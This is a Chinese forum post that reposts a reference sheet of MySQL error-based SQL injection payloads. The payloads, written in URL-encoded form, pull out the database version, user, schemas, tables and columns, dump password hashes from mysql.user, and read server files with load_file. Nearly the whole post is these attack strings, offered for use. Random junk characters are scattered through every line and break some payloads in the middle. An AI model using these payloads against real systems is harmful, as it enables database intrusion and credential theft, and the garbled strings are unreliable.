本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
% t7 }) Q1 a" u/ x8 s& ^. N" E2 \ X0 S; w7 `" \8 A2 b# @" P1 |
, f( z7 T0 y# N0 |" K# y \
Mysql暴错注入参考(pdf),每天一贴。。。
+ b! b7 r2 Z" w7 i6 d4 V7 ]" h1 F6 J# X* ~) Z
MySql Error Based Injection Reference3 B, m! D6 ~/ e* O
[Mysql暴错注入参考]
7 b/ f: A; \5 wAuthornig0s1992- z* u0 G1 ]( S6 Q6 e* s6 H; Q
Blog:http://pnig0s1992.blog.51cto.com/
7 j% \2 s* F) [. |* R& A1 }3 @0 ~TeAm:http://www.FreeBuf.com/
2 h; P* n$ V# y; |- V( pMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
9 S* g* {/ O: |1 x/ O小部分版本使用name_const()时会报错.可以用给出的Method.2测试
4 e8 [, S! O) F% A0 u q+ s查询版本:& D5 E7 R. G$ [- h0 I. e
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
" @3 N' g! X9 ~3 A) kjoin+(select+name_const(@@version,0))b)c)
/ `8 m6 E: c& w0 F% @& x/ ?1 xMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro) i8 g: a# {* R$ ~7 r3 D$ I9 x; o
up by a)b)9 u; U% E, x( @0 l. f$ w4 K
查询当前用户:& J+ \; X* n8 \- w2 R
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)* ^' x6 D9 T4 V$ x
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
* r0 Y1 W4 g/ g: z( n" Band(0)*2))x+from+information_schema.tables+group+by+x)a)5 E! W B! ]) T4 g! M
查询当前数据库:) R- {8 P( d, |; A
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)! {) b4 {+ E# ]" b( N' e* O
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
( h4 O, N/ ?1 A X5 n; Z& p/ ~or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
/ Y* e, x- y* ~, M依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+6 z9 g0 v* |& R! E7 q2 L% |) w1 D8 P
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
) N* U, G1 k8 h0 I$ H1 w2 f顺序替换% E/ R/ f* k1 d& k: G2 H6 C
爆指定库数目:; l" q7 B+ Q4 i, ~# x7 ?
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
" U! T2 C7 |3 o* {/ M. | Gable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
5 G- g* q3 {) ^2 ^: \+by+x)a)+and+1=1 0x6D7973716C=mysql1 V$ F: T1 }0 s# @/ B
依次爆表:
! L* p7 X% F1 R" D+ w8 hand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
* Y* _+ {- L+ A* j# E- S9 vable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
2 e1 p* h! C. {0 f# [$ Nbles+group+by+x)a)+and+1=1
: A+ y( H! p4 q0 p/ W5 M$ m+ R6 I0x6D7973716C=Mysql 将n顺序替换! {7 {$ Q0 j6 L3 f$ w$ Z' k
爆表内字段数目:
5 K3 n: r2 O% p2 n# b4 oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
0 ?1 j1 B' v4 G2 t# O$ x6 Z+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran7 o9 r% ^1 E0 u7 V: ?- T% H/ P: v
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1, i( L7 u* \( U$ F
依次爆字段:
: R6 y( K8 N# z4 L) ~. U. s: @- s' Dand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where4 O4 n6 J2 k& g- C
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
0 k! C D! [- w# W" W- I( ]- bloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
6 P7 {, A- O p% q依次暴内容:* \$ M) j2 l& T
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
/ p" n& {* z( `9 h" k8 U( v1 Ama.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
8 A6 Z6 \ _; `1 l" S将n顺序替换
- w* |' G' I" u/ ~) ]爆文件内容:
s- d4 x. ? Y- `& \% i- Rand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
" h( Z c) C- I& F6 ifrom+information_schema.tables+group+by+a)b)
4 J7 _' M* | g- p+ x6 A# I, _$ N; s0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节/ b3 y, h: o5 Z' g) u1 L
Thx for reading.& M. U. g' S5 g. S; y! F
. W: d+ i& |& ]( ^0 a不要下载也可以, " N6 W+ \; [4 \. u# v
|